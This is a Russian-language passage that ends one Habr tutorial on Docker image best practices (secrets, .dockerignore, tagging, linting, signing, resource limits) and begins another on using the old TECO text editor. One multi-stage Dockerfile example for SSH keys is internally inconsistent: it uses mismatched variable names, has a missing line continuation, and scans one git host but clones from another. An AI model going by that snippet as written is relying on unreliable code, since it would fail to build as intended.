"End": "2021-09-28T15:22:57.7825527Z",
"ExitCode": 0,
"Output": "..."
```
Здесь, для краткости, приведена лишь часть выходных данных, так как в их полном виде приведён большой объём HTML-кода.
Проверку можно включить и в файле настройки Docker Compose:
```
version: "3.8"
services:
web:
build: .
ports:
- '8000:8000'
healthcheck:
test: curl --fail http://localhost:8000 || exit 1
interval: 10s
timeout: 10s
start_period: 10s
retries: 3
```
Здесь доступны следующие опции:
* `test`: команда для выполнения проверки.
* `interval`: интервал тестирования (то есть, например, проводить тесты через каждые `10` секунд).
* `timeout`: максимальное время ожидания ответа.
* `start_period`: момент начала проверок. Эту опцию можно использовать в том случае, если перед тем, как контейнер будет готов к работе, нужно выполнить какие-то дополнительные операции, вроде миграции контейнера.
* `retries`: максимальное число попыток выполнения теста, после которого тест может быть сочтён непройденным.
Если вы используете инструменты оркестрации контейнеров, отличные от Docker Swarm, то есть — Kubernetes или AWS ECS — весьма вероятно то, что эти инструменты имеют собственные внутренние системы для проведения проверок работоспособности процессов. Прежде чем пользоваться инструкциями `HEALTHCHECK` в своих проектах — обратитесь к документации используемых вами инструментов.
Образы
------
### 1. Ответственно подходите к версионированию Docker-образов
Всегда, когда это возможно, постарайтесь не пользоваться тегом `latest`.
Если вы полагаетесь на тег `latest` (это, на самом деле, не совсем «тег», так как он применяется по умолчанию в том случае, когда образ явным образом не тегирован), вы, опираясь на тег образа, не сможете понять, какая именно версия вашего кода работает в контейнере. Это усложняет процедуры проведения отката к предыдущим версиям ПО и открывает дорогу проблемам, связанным со случайной или злонамеренной перезаписью важных данных. Теги, как и инфраструктура, и развёртывания, должны быть [иммутабельными](https://sysdig.com/blog/toctou-tag-mutability/).
Вне зависимости от того, как вы организуете работу со своими внутренними образами, категорически не рекомендуется использовать тег `latest` при описании базовых образов. Это ведёт к возможности непреднамеренного развёртывания в продакшне новой версии базового образа, содержащей изменения, несовместимые с программами, использующими этот образ.
При оформлении внутренних образов стоит использовать описательные теги, что упростит задачу выяснения того, какая именно версия кода работает в конкретном контейнере, облегчит выполнение откатов и позволит избежать коллизий имён тегов.
Например, в состав тега могут входить следующие дескрипторы:
1. Отметки времени.
2. Идентификаторы Docker-образов.
3. Хеши Git-коммитов.
4. Семантические версии.
О других подходах к составлению тегов вы можете узнать, обратившись к [этому](https://stackoverflow.com/a/56213290/1799408) ответу на Stack Overflow, посвящённому грамотному версионированию Docker-образов.
Вот пример:
```
docker build -t web-prod-a072c4e5d94b5a769225f621f08af3d4bf820a07-0.1.4 .
```
Здесь для формирования тега использованы следующие данные:
1. Имя проекта: `web`.
2. Имя окружения: `prod`.
3. Хеш Git-коммита: `a072c4e5d94b5a769225f621f08af3d4bf820a07`.
4. Семантическая версия: `0.1.4`.
Очень важно выбрать схему тегирования образов и чётко её придерживаться. Так как хеши коммитов облегчают задачу перехода от образа к коду, на котором он основан, настоятельно рекомендуется разработать схему тегирования, включающую в себя, кроме прочего, и эти хеши.
### 2. Не храните в образах секретные данные
Секретные данные — это информация, которая ни в коем случае не должна попасть в чужие руки. Например это пароли, учётные данные для подключения к базам данных, SSH-ключи, токены, TLS-сертификаты. Подобные данные не должны включаться в состав образов в незашифрованном виде. Дело в том, что пользователи, не имеющие права работать с подобными данными, но получившие доступ к образам, могут извлечь из них эти данные, всего лишь исследовав слои образов.
Не добавляйте секретные данные в файлы Dockerfile в виде обычного текста, особенно — если вы отправляете образы в общедоступные репозитории вроде [Docker Hub](https://hub.docker.com/):
```
FROM python:3.9-slim
ENV DATABASE_PASSWORD "SuperSecretSauce"
```
Вместо этого такие данные нужно внедрять в контейнеры следующим образом:
* Посредством переменных окружения (во время выполнения контейнера).
* Посредством аргументов, передаваемых Docker при сборке образов.
* С использованием инструментов, доступных в рамках сред оркестрации контейнеров вроде Docker Swarm (с помощью Docker Secrets) или Kubernetes (с помощью Kubernetes Secrets).
Кроме того, можно предотвратить утечку секретных данных путём добавления описаний файлов и папок, в которых обычно хранятся такие данные, в файл `.dockerignore`:
```
**/.env
**/.aws
**/.ssh
```
И наконец — чётко описывайте файлы, копируемые в образ, не прибегайте к рекурсивному копированию всех файлов:
```
# Плохо
COPY . .
# Хорошо
copy ./app.py .
```
Чёткое описание файлов, включаемых в образ, кроме того, позволяет ограничить отключение кеширования.
***Переменные окружения***
Секретные данные можно передать в контейнер посредством переменных окружения, но эти данные будут видны всем дочерним процессам, связанным контейнерам, средствам логирования данных; посмотреть их можно будет и с помощью `docker inspect`. Такие данные, кроме того, сложно обновлять:
```
$ docker run --detach --env "DATABASE_PASSWORD=SuperSecretSauce" python:3.9-slim
d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239
$ docker inspect --format='{{range .Config.Env}}{{println .}}{{end}}' d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239
DATABASE_PASSWORD=SuperSecretSauce
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.7
PYTHON_PIP_VERSION=21.2.4
PYTHON_SETUPTOOLS_VERSION=57.5.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c20b0cfd643cd4a19246ccf204e2997af70f6b21/public/get-pip.py
PYTHON_GET_PIP_SHA256=fa6f3fb93cce234cd4e8dd2beb54a51ab9c247653b52855a48dd44e6b21ff28b
```
Это — самый простой и прямолинейный подход к управлению секретными данными в Docker. Хотя этот подход и нельзя назвать самым безопасным, он, всё же, позволяет скрыть секретную информацию от любопытных глаз за тонким защитным слоем и, как говорится, помогает честным людям оставаться честными.
Передача секретных данных в контейнер с использованием общего тома безопаснее, но такие данные должны быть зашифрованы с помощью [Vault](https://www.vaultproject.io/) или AWS [Key Management Service](https://aws.amazon.com/kms/) (KMS), так как они сохраняются на диске.
***Аргументы, передаваемые Docker при сборке образов***
Передать в образ секретные данные можно во время его сборки, воспользовавшись соответствующими [аргументами](https://docs.docker.com/engine/reference/commandline/build/#set-build-time-variables---build-arg), но эти данные будут доступны, посредством команды `docker history`, тем, у кого есть доступ к образу.
Вот пример:
```
FROM python:3.9-slim
ARG DATABASE_PASSWORD
```
Сборка образа:
```
$ docker build --build-arg "DATABASE_PASSWORD=SuperSecretSauce" .
```
Если секретные данные нужны лишь в течение некоторого времени, при сборке образа (например SSH-ключи для клонирования приватного репозитория или для загрузки приватного пакета), стоит использовать многоэтапную сборку, так как этапы, на которых выполняются подготовительные действия, не оставляют записей в истории сборки:
```
# Этап, на котором выполняются подготовительные действия
FROM python:3.9-slim as builder
# секретные данные
ARG SSH_PRIVATE_KEY
# установка git
RUN apt-get update && \
apt-get install -y --no-install-recommends git
# использование ssh-ключа для клонирования репозитория
RUN mkdir -p /root/.ssh/ && \
echo "${PRIVATE_SSH_KEY}" > /root/.ssh/id_rsa
RUN touch /root/.ssh/known_hosts &&
ssh-keyscan bitbucket.org >> /root/.ssh/known_hosts
RUN git clone git@github.com:testdrivenio/not-real.git
# Финальный этап
FROM python:3.9-slim
WORKDIR /app
# копирование репозитория из временного образа
COPY --from=builder /your-repo /app/your-repo
# используем репозиторий для решения неких задач!
```
При многоэтапной сборке в истории сохраняются лишь сведения о финальном образе. Помните о том, что этот подход можно использовать и при работе с секретными данными, которые постоянно нужны приложению, вроде учётных сведений для доступа к базе данных.
Ещё, пользуясь командой `docker build`, можно прибегнуть к новой опции `--secret`, которая позволяет передавать в образы Docker секретные данные, которые не сохраняются в образах.
```
# "docker_is_awesome" > secrets.txt
FROM alpine
# показывает секретные данные из стандартного места для хранения таких данных:
RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecret
```
Благодаря этому секретные данные будут взяты из файла `secrets.txt`.
Сборка образа:
```
docker build --no-cache --progress=plain --secret id=mysecret,src=secrets.txt .
# вывод
...
#4 [1/2] FROM docker.io/library/alpine
#4 sha256:665ba8b2cdc0cb0200e2a42a6b3c0f8f684089f4cd1b81494fbb9805879120f7
#4 CACHED
#5 [2/2] RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecret
#5 sha256:75601a522ebe80ada66dedd9dd86772ca932d30d7e1b11bba94c04aa55c237de
#5 0.635 docker_is_awesome#5 DONE 0.7s
#6 exporting to image
```
И, наконец, проверим историю для того, чтобы узнать о том, не произошла ли утечка секретных данных:
```
❯ docker history 49574a19241c
IMAGE CREATED CREATED BY SIZE COMMENT
49574a19241c 5 minutes ago CMD ["/bin/sh"] 0B buildkit.dockerfile.v0
5 minutes ago RUN /bin/sh -c cat /run/secrets/mysecret # b… 0B buildkit.dockerfile.v0
4 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
4 weeks ago /bin/sh -c #(nop) ADD file:aad4290d27580cc1a… 5.6MB
```
Подробнее о секретных данных, передаваемых в образ в процессе сборки, можно почитать [здесь](https://pythonspeed.com/articles/docker-build-secrets/).
***Использование инструмента docker secret***
Если вы используете Docker Swarm, это значит, что управлять секретными данными вы можете с помощью инструмента [docker secret](https://docs.docker.com/engine/reference/commandline/secret/).
Например, инициализируем Docker Swarm:
```
$ docker swarm init
```
Создадим, воспользовавшись командой `docker secret`, секретные данные, которые планируется использовать в Docker:
```
$ echo "supersecretpassword" | docker secret create postgres_password -
qdqmbpizeef0lfhyttxqfbty0
$ docker secret ls
ID NAME DRIVER CREATED UPDATED
qdqmbpizeef0lfhyttxqfbty0 postgres_password 4 seconds ago 4 seconds ago
```
Когда контейнеру дают доступ к вышеописанным секретным данным — он смонтирует `/run/secrets/postgres_password`. В этом файле будет содержаться, в виде обычного текста, соответствующий пароль.
Примеряете другие инструменты для оркестрации контейнеров? Вот несколько полезных ссылок на материалы, имеющие отношение к управлению секретными данными с использованием этих инструментов:
1. [AWS EKS](https://docs.aws.amazon.com/eks/latest/userguide/manage-secrets.html)
2. [DigitalOcean Kubernetes](https://www.digitalocean.com/community/tutorials/recommended-steps-to-secure-a-digitalocean-kubernetes-cluster)
3. [Google Kubernetes Engine](https://cloud.google.com/secret-manager/docs/using-other-products#google-kubernetes-engine)
4. [Nomad](https://learn.hashicorp.com/tutorials/nomad/vault-postgres?in=nomad/integrate-vault)
### 3. Используйте файл .dockerignore
Мы уже несколько раз упоминали файл .[dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file). Этот файл используется для указания файлов и папок, которые не нужно включать в исходный контекст сборки, отправляемый демону Docker, который потом будет заниматься сборкой образа. Другими словами — можно использовать этот файл для описания необходимого вам контекста сборки образов.
При сборке Docker-образа весь контекст Docker, то есть — корневая директория проекта, отправляется демону Docker до выполнения инструкций `COPY` или `ADD`. Это может оказаться крайне ресурсоёмкой операцией, особенно если в проекте имеется множество зависимостей, если в нём есть большие файлы с данными или артефакты сборки. В дополнение этому инструмент командной строки Docker и демон Docker могут размещаться на разных компьютерах. В результате если демон работает на удалённой машине, следует ещё внимательнее следить за размерами контекста сборки.
Что стоит описать в файле `.dockerignore`?
1. Временные файлы и папки.
2. Файлы журналов сборки.
3. Файлы с локальными секретными данными.
4. Локальные файлы, используемые в ходе разработки проекта, вроде `docker-compose.yml`.
5. Папки, используемые системами контроля версий, вроде `.git`, `.hg` и `.svn`.
Вот пример:
```
**/.git
**/.gitignore
**/.vscode
**/coverage
**/.env
**/.aws
**/.ssh
Dockerfile
README.md
docker-compose.yml
**/.DS_Store
**/venv
**/env
```
В результате оказывается, что правильно структурированный файл `.dockerignore` может помочь в решении следующих задач:
1. Уменьшение размеров Docker-образа.
2. Ускорение процесса сборки.
3. Предотвращение ненужных операций по инвалидации кеша.
4. Предотвращение утечки секретных данных.
### 4. Производите линтинг файлов Dockerfile и сканирование образов
Линтинг — это процесс проверки исходного кода на предмет программных и стилистических ошибок, на предмет использования в нём неудачных методик разработки, применение которых способно привести к каким-то проблемам. Статические файлы, как и файлы с кодом, могут подвергнуты линтингу. В частности, в случае с файлами Dockerfile, линтеры могут помочь проверить то, легко ли будет поддерживать эти файлы, то, что в них не используются устаревшие синтаксические конструкции, и то, что их авторы придерживаются лучших практических приёмов их разработки. Линтинг файлов Dockerfile должен быть стандартным шагом используемых вами CI-конвейеров.
Самым популярным линтером файлов Dockerfile можно назвать [Hadolint](https://github.com/hadolint/hadolint):
```
$ hadolint Dockerfile
Dockerfile:1 DL3006 warning: Always tag the version of an image explicitly
Dockerfile:7 DL3042 warning: Avoid the use of cache directory with pip. Use `pip install --no-cache-dir `
Dockerfile:9 DL3059 info: Multiple consecutive `RUN` instructions. Consider consolidation.
Dockerfile:17 DL3025 warning: Use arguments JSON notation for CMD and ENTRYPOINT arguments
```
Посмотреть на него в деле можно [здесь](https://hadolint.github.io/hadolint/). Он существует и в виде [расширения](https://marketplace.visualstudio.com/items?itemName=exiasr.hadolint) для VS Code.
Линтинг файлов Dockerfile можно совместить со сканированием контейнеров на предмет уязвимостей.
Вот некоторые инструменты для решения этой задачи:
1. [Snyk](https://docs.docker.com/engine/scan/) — это инструмент, ориентированный на поиск уязвимостей локальных образов Docker, входящий в состав стандартных средств командной строки Docker. Для его использования нужно прибегнуть к команде `docker scan`.
2. [Trivy](https://aquasecurity.github.io/trivy/) можно использовать для сканирования образов контейнеров, файловых систем, Git-репозиториев и других конфигурационных файлов.
3. [Clair](https://github.com/quay/clair) — это опенсорсный проект, используемый для статического анализа контейнеров приложений на уязвимости.
4. [Anchore](https://github.com/anchore/anchore-engine) — это ещё один опенсорсный проект, в рамках которого реализован централизованный сервис для исследования, анализа и сертификации образов контейнеров.
В результате можно порекомендовать выполнять линтинг файлов Dockerfile и сканирование образов на уязвимости для выявления потенциальных проблем, выражающихся в отклонениях от общепризнанных рекомендаций.
### 5. Подписывайте и верифицируйте образы
Как узнать, что образ, используемый для запуска продакшн-кода, не взломали?
Взлом образа может быть осуществлён дистанционно, с использованием атаки посредника ([Man in the middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack), MITM), подмена образа может быть осуществлена после компрометации репозитория.
Система [Docker Content Trust](https://docs.docker.com/engine/security/trust/) (DCT) позволяет подписывать и верифицировать образы Docker, загружаемые из удалённых реестров.
Для того чтобы проверять целостность и подлинность образов, нужно установить следующую переменную окружения:
```
DOCKER_CONTENT_TRUST=1
```
После этого, если попытаться скачать неподписанный образ, будет выдана следующая ошибка:
```
Error: remote trust data does not exist for docker.io/namespace/unsigned-image:
notary.docker.io does not have trust data for docker.io/namespace/unsigned-image
```
Подробности о подписывании образов можно найти в [документации](https://docs.docker.com/engine/security/trust/#signing-images-with-docker-content-trust) по Docker Content Trust. При загрузке образов с Docker Hub постарайтесь использовать либо официальные образы, либо верифицированные образы из надёжных источников. Большим командам стоит рассмотреть возможность использования собственного внутреннего [приватного реестра контейнеров](https://docs.docker.com/registry/deploying/).
Дополнительные рекомендации
---------------------------
### При необходимости используйте в контейнерах виртуальные окружения Python
Стоит ли использовать виртуальное окружение внутри контейнера?
В большинстве случае виртуальные окружения в контейнерах не нужны — по крайней мере, до тех пор, пока вы придерживаетесь рекомендации относительно запуска в одном контейнере лишь одного процесса. Так как сам контейнер предоставляет нам механизм изоляции своего содержимого от окружающей среды, в контейнере можно устанавливать пакеты, доступные во всей системе. И, тем не менее, может возникнуть необходимость в использовании виртуального окружения, а не сборки wheel-файлов, в многоэтапных сборках.
Вот — пример, в котором используются wheel-файлы:
```
# Этап, на котором выполняются подготовительные действия
FROM python:3.9-slim as builder
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc
COPY requirements.txt .
RUN pip wheel --no-cache-dir --no-deps --wheel-dir /app/wheels -r requirements.txt
# Финальный этап
FROM python:3.9-slim
WORKDIR /app
COPY --from=builder /app/wheels /wheels
COPY --from=builder /app/requirements.txt .
RUN pip install --no-cache /wheels/*
```
А вот — пример, в котором используется виртуальное окружение:
```
# Этап, на котором выполняются подготовительные действия
FROM python:3.9-slim as builder
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc
RUN python -m venv /opt/venv
ENV PATH="/opt/venv/bin:$PATH"
COPY requirements.txt .
RUN pip install -r requirements.txt
# Финальный этап
FROM python:3.9-slim
COPY --from=builder /opt/venv /opt/venv
WORKDIR /app
ENV PATH="/opt/venv/bin:$PATH"
```
### Устанавливайте ограничения на использование процессора и памяти
Ограничение использования памяти Docker-контейнерами — это хорошая идея, особенно в том случае, если на одном компьютере запускают несколько контейнеров. Это может не дать одному из контейнеров занять всю доступную память и тем самым навредить остальным.
Легче всего ограничить использование ресурсов памяти и процессора можно с помощью опций `--memory` и `--cpu` команды `docker run`:
```
$ docker run --cpus=2 -m 512m nginx
```
Эта команда ограничивает контейнер 2 процессорными ядрами и 512 Мб основной памяти.
Сделать то же самое можно и в файле настройки Docker Compose:
```
version: "3.9"
services:
redis:
image: redis:alpine
deploy:
resources:
limits:
cpus: 2
memory: 512M
reservations:
cpus: 1
memory: 256M
```
Обратите внимание на поле `reservations`. Оно используется для установки мягкого ограничения, которому отдаётся приоритет в том случае, когда на хост-системе наблюдается недостаток ресурсов памяти или процессора.
[Вот](https://docs.docker.com/config/containers/resource_constraints/) и [вот](https://docs.docker.com/compose/compose-file/compose-file-v3/#resources) — пара полезных документов, касающихся управления системными ресурсами, доступными Docker-контейнерам.
### Выполняйте логирование в stdout или stderr
Приложения, выполняющиеся в Docker-контейнерах, должны писать логи в стандартный поток вывода (stdout) или стандартный поток ошибок (stderr), а не в файл.
Если они так и поступают, это значит, что можно настроить демона Docker на отправку лог-сообщений в централизованную систему работы с журналами (вроде [CloudWatch Logs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html) или [Papertrail](https://www.papertrail.com/)).
[Вот](https://12factor.net/logs) и [вот](https://docs.docker.com/config/containers/logging/configure/) — полезные материалы по теме.
### При применении Gunicorn Heartbeat используйте директории, физически расположенные в памяти
Gunicorn использует систему контроля работоспособности форков рабочих процессов (Gunicorn Heartbeat), основанную на файлах.
В большинстве случаев такие файлы располагаются в директории `/tmp`, которая часто, благодаря использованию [tmpfs](https://en.wikipedia.org/wiki/Tmpfs), физически находится в оперативной памяти. Так как Docker, по умолчанию, не использует tmpfs, такие файлы могут оказаться и в файловой системе, в основе которой лежит жёсткий диск. Это может привести к [проблемам](https://docs.gunicorn.org/en/20.1.0/faq.html#how-do-i-avoid-gunicorn-excessively-blocking-in-os-fchmod), вроде периодических «подвисаний», так как Gunicorn Heartbeat использует метод `os.fchmod`, который способен заблокировать рабочий процесс в том случае, если директория, на самом деле, находится в файловой системе.
К счастью, эту проблему легко исправить: нужно изменить директорию, используемую Gunicorn Heartbeat на директорию, находящуюся в файловой системе, расположенной в памяти. Сделать это можно с помощью флага `--worker-tmp-dir`:
```
gunicorn --worker-tmp-dir /dev/shm config.wsgi -b 0.0.0.0:8000
```
Итоги
-----
В этой статье приведены советы, которые направлены на то, чтобы сделать файлы Dockerfile и создаваемые с их помощью Docker-образы аккуратнее, компактнее и безопаснее. [Вот](https://docs.docker.com/develop/dev-best-practices/) и [вот](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) — пара дополнительных материалов, в которых вы можете найти ещё некоторые советы по работе с Docker.
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/586778/ | null | ru | null |
# Редактор TECO: EMACS, я твой отец
Впервые про TECO я прочитал в пародийной статье [Real Programmers Don't Use Pascal](http://web.mit.edu/humor/Computers/real.programmers), написанной незадолго до моего рождения. Там было написано, что настоящие программисты не используют новомодные редакторы EMACS и VI:
> Нет, Настоящий Программист хочет редактор вида «Просил? Так получай!» — сложный, загадочный, мощный, не прощающий ошибок, опасный. TECO, если быть точным.
>
> **Оригинал**No, the Real Programmer wants a `you asked for it, you got it' text editor — complicated, cryptic, powerful, unforgiving, dangerous. TECO, to be precise.
>
>
>
>
Это меня заинтриговало. Что за зверь такой, можно ли его пощупать? [Википедия](https://en.wikipedia.org/wiki/TECO_(text_editor)) рассказала, что TECO — это **T**ext **E**ditor & **CO**rrector, создан он в 1962-м году в DEC и использовался на компьютерах семейства PDP, а позже на системах OpenVMS. Оказалось, что существует [порт на Си](https://github.com/blakemcbride/TECOC), который поддерживается энтузиастами в актуальном состоянии и собирается под современными операционными системами. Вот я и решил почувствовать себя настоящим программистом хотя бы немножко.
Компиляция под Linux никаких сложностей не вызвала (надо только поставить libncurses-dev). И вот мы запускаем `tecoc` и видим мощный интерфейс редактора:
```
*
```
Да, одна звёздочка. Это приглашение ко вводу команд. Похоже, без инструкции не обойтись. Хорошие новости — инструкция легко ищется в интернете. Это книжка почти на 300 страниц под названием «Standard TECO Text Editor and Corrector for the VAX, PDP-11, PDP-10, and PDP-8». [Вот здесь](http://www.livingcomputers.org/Discover/Online-Systems/User-Documentation/OpenVMS-7-3/3_(Editor)_DEC_Standard_TECO.aspx) можно почитать в PDF последнюю версию 1990-го года, в это время TECO уже практически был всеми забыт.
Для начала стоит выяснить, как же выйти из этого чуда. Оказывается, нужно ввести `EX`, а затем два раза нажать Escape. Вообще двойное нажатие Escape приводит к выполнению введённой команды. Клавиша Enter используется просто как перевод строки. Escape отображается на экране как доллар, но введя доллар, вы не получите эффекта Escape. Тем не менее далее если я пишу `$`, подразумевается, что надо нажать Escape. Так что выходим мы с помощью `EX$$` (при этом файлы сохраняются). Отлично, входить и выходить научились — полдела сделано.
Вообще формат команд TECO примерно такой:
```
[[<число1>,] <число2>] [:] <команда> [<текст1> [ $ <текст2> ] $ ]
```
Довольно непривычно, что аргументы могут идти и слева, и справа. Впрочем, лучше воспринимать это по-другому: числа слева — это не часть команды, а ещё одна команда, которая возвращает число (или пару чисел) в качестве результата. При этом последующая команда может использовать результат предыдущей.
С эскейпами неудобно, потому что если его скопируешь и вставишь, получится просто доллар, который не воспринимается как разделитель. К счастью, есть альтернативный синтаксис для команд с текстовым аргументом: `@ <команда> <разделитель> <текст> <разделитель>`, где разделитель — любой символ. Например, вставить текст 'Habr' в текущую позицию курсора можно с помощью `IHabr$` (I, текст, Escape — ничего не напоминает?), а можно с помощью `@I/Habr/`. Чтобы упростить себе жизнь, я перешёл на второй синтаксис.
Прекрасно. Хорошо бы научиться вводить какой-нибудь текст в файл. Чтобы указать выходной файл, используется команда `EW`, а входной файл — команда `ER`. По-хорошему они не должны совпадать. Оказывается, в те времена было популярно многостраничное представление текстовых файлов с разделением на страницы с помощью символа или form-feed. Это символ с кодом 12 (0xC), который вводился через Ctrl+L (L — двенадцатая буква английского алфавита). Это не только инструктировало принтер выплюнуть страницу и начать новую, но и позволяло редактировать длинный файл при скромных объёмах оперативной памяти. TECO грузит в память только одну страницу входного файла (до символа ) и позволяет отредактировать её, записать в выходной файл и перейти к следующей. Также есть операции склейки и разделения страниц. Если файл будет один и тот же, понятно, что ничего хорошего не выйдет. Ну ладно, мы со страницами играться не будем, в наши дни это совсем дикость. Наши файлы будут одностраничными. Итак, создадим файл с нуля:
```
*@EW/habr.txt/$$
*@I/Hello, Habrahabr!
This is TECO, the most powerful editor in the world.
Stop using your fancy IDEs, TECO for the win!
Bye.
/$$
*EX$$
```
Это сработало, действительно появился файл `habr.txt` с нашим текстом. Я каждую команду завершал двумя Escape, но вообще-то это необязательно. Ну хорошо, а как же всё-таки редактировать существующий файл? Неохота каждый раз выдумывать новое имя. Для этого есть специальная команда `EB`, которая при первой записи переименует входной файл в `*.bak`, таким образом соблюдая то, что входной и выходной файл различны. После открытия файла надо не забыть перелистнуть на первую страницу (команда `Y`), а затем можно вывести всё содержимое файла командой `HT`:
```
*@EB/habr.txt/YHT$$
Hello, Habrahabr!
This is TECO, the most powerful editor in the world.
Stop using your fancy IDEs, TECO for the win!
Bye.
*
```
Строго говоря, `HT` — это две команды. Команда `H` возвращает пару чисел — 0 и длину текстового буфера, то есть страницы, которая сейчас в памяти. А команда `T` печатает фрагмент файла в заданном диапазоне смещений:
```
*0,5T$$
Hello*7,17T$$
Habrahabr!*
```
Да, перевод строки никто вам не добавит лишний раз, попросили пять символов — получайте. Зато всё чётко и ясно. Если команде `T` передать на вход только одно число, оно интерпретируется как количество строк, которое надо напечатать, считая от позиции курсора вперёд или назад. При этом если курсор в середине строки, то `0T` печатает фрагмент от начала текущей строки до курсора, а просто `T` без параметров — от курсора до конца строки:
```
*5J$$
*0T$$
Hello*T$$
, Habrahabr!
*
```
Команда `J`, которой мы воспользовались выше, перемещает курсор на заданное абсолютное смещение (курсор расположен всегда между символами). Ну так как-то некрасиво смотреть, хотелось бы увидеть этот самый курсор. Можно между `0T` и `T` просто напечатать палочку? Да, можно. Команда печати — это `^A` (можно ввести Ctrl+A, а можно прямо галочку и букву A по очереди):
```
*0T@^A/|/T$$
Hello|, Habrahabr!
*
```
Ура, мы теперь умеем видеть позицию курсора. Хорошо бы записать эту команду и при необходимости выполнять её. Если сразу после выполнения команды набрать `*` и потом букву или цифру, то текст предыдущей команды запишется в соответствующий текстовый Q-регистр (я так и не выяснил, почему не просто регистр, а Q-регистр). Наберём, например, `*Z`. Теперь содержимое регистра `Z` можно выполнить как команду с помощью команды `MZ`:
```
*MZ$$
Hello|, Habrahabr!
*
```
Отлично, мы записали первый TECO-макрос. Ну бегать по позициям скучно, хорошо бы уметь что-нибудь искать. Поищем, например, слово IDE. Справка говорит, что для этого есть команда `S`:
```
*@S/IDE/$$
*
```
И что? Ничего не выдал. Нашёл или не нашёл? А если нашёл, то где? Да, интерактивные редакторы развращают. Раз ничего не выдал, значит, нашёл. TECO просто переставил курсор после найденного текста. Давайте повторим и сразу нарисуем строчку с курсором:
```
*@S/IDE/MZ$$
?SRH Search failure "IDE"
```
Ой, а теперь-то что? Ага, ищет-то он с текущей позиции курсора, вот второго IDE и не нашлось. Надо сперва перейти к началу файла (можно просто `J`):
```
*J@S/IDE/MZ$$
Stop using your fancy IDE|s, TECO for the win!
```
Во, красота. А как насчёт выделить найденный текст с обеих сторон? Тут пришлось изрядно порыть документацию. Пригодились такие штуки:
* `^S` — возвращает длину результата последнего поиска или последней вставки (со знаком минус, чтобы веселее было)
* `.` — точка возвращает текущую позицию курсора в буфере.
* `C` — перемещает курсор вправо на количество символов, возвращённое предыдущей командой (есть и противоположная команда, которая идёт влево, — `R`).
Соответственно с помощью `^SC` можно перейти к началу найденной строки, потом знакомое `0T` распечатает префикс, затем выведем `[`. Далее надо напечатать фрагмент от позиции `.` до `.-^S` (помните, что `^S` — отрицательное число). Затем напечатать `]`, вернуть курсор на место с помощью `-^SC` и вывести остаток строки с помощью `T`. Вот вся программа:
```
*^SC0T@^A/[/.,.-^ST@^A/]/-^SCT$$
Stop using your fancy [IDE]s, TECO for the win!
*
```
Отлично, мы уже начали уделывать Перл. Самое время для следующей цитаты из статьи про реальных программистов:
> Замечено, что последовательность команд TECO скорее напоминает передачу шума, чем читаемый текст. Весёлое развлечение — набрать в TECO своё имя как команду и попытаться угадать, что произойдёт. Практически любая опечатка при разговоре с TECO может уничтожить вашу программу или, что ещё хуже, внести неуловимый и таинственный баг в когда-то рабочую процедуру.
>
> **Оригинал**It has been observed that a TECO command sequence more closely resembles transmission line noise than readable text. One of the more entertaining games to play with TECO is to type your name in as a command line and try to guess what it does. Just about any possible typing error while talking with TECO will probably destroy your program, or even worse — introduce subtle and mysterious bugs in a once working subroutine.
>
>
>
>
Кстати, некоторое подобие регулярных выражений в TECO тоже имеется. Например, аналогом `[A-Z]\d+` будет `^EW^EM^ED`. Если вы не любите обычные регулярные выражения, поработайте немного в TECO. После этого будете любить.
Теперь хотелось бы каких-нибудь управляющих структур. Скажем, такая задача: считая, что курсор стоит на начале строки, взять текст строки в красивую рамочку. Кстати, двигаться по строкам вниз — команда `L`, а вверх — `-L`. Также вы можете нажимать Ctrl+H и Ctrl+J для быстрого выполнения команд `-LT` и `LT` и бегать по тексту туда-сюда.
Для этой задачи нам потребуется вставить столько минусиков, сколько букв в текущей строке. Как это измерить? Можно вызвать `.` два раза, до и после `L`, и посчитать разность. Нам пригодится запись и чтение чисел в Q-регистры (число и текст хранятся в Q-регистре с одним и тем же именем независимо). `UA` записывает число в регистр `A`, а `QA` — считывает его. Простой цикл на n итераций — это `n<...>`. Например, если мы хотим вставить минусик `A` раз, мы напишем `QA<@I/-/>`. Весь макрос будет выглядеть так:
```
.UAL.-QA-2UA-L@I/+/QA<@I/-/>@I/+
|/L2R@I/|
+/QA<@I/-/>@I/+
/-LC
```
Возможно, для кого-то самое непонятное в этом макросе — это -2. А ещё потом `2R`. Всё очень просто: перевод строки в те времена всегда занимал два символа, `'\r\n'`. Никаких разногласий не было, это было прекрасно. Нам надо его вычесть из разности координат начал строк, а для отрисовки правой рамочки надо сходить на два символа влево.
Сохраним этот макрос его в регистр `Y`. Это, кстати, можно сделать не только через `*Y` после выполнения команды, а с помощью команды `^U` записи строки в регистр: `@^UY/текст макроса/`. Выполним его, находясь в начале буфера, и получим:
```
*MY$$
*HT$$
+-----------------+
|Hello, Habrahabr!|
+-----------------+
This is TECO, the most powerful editor in the world.
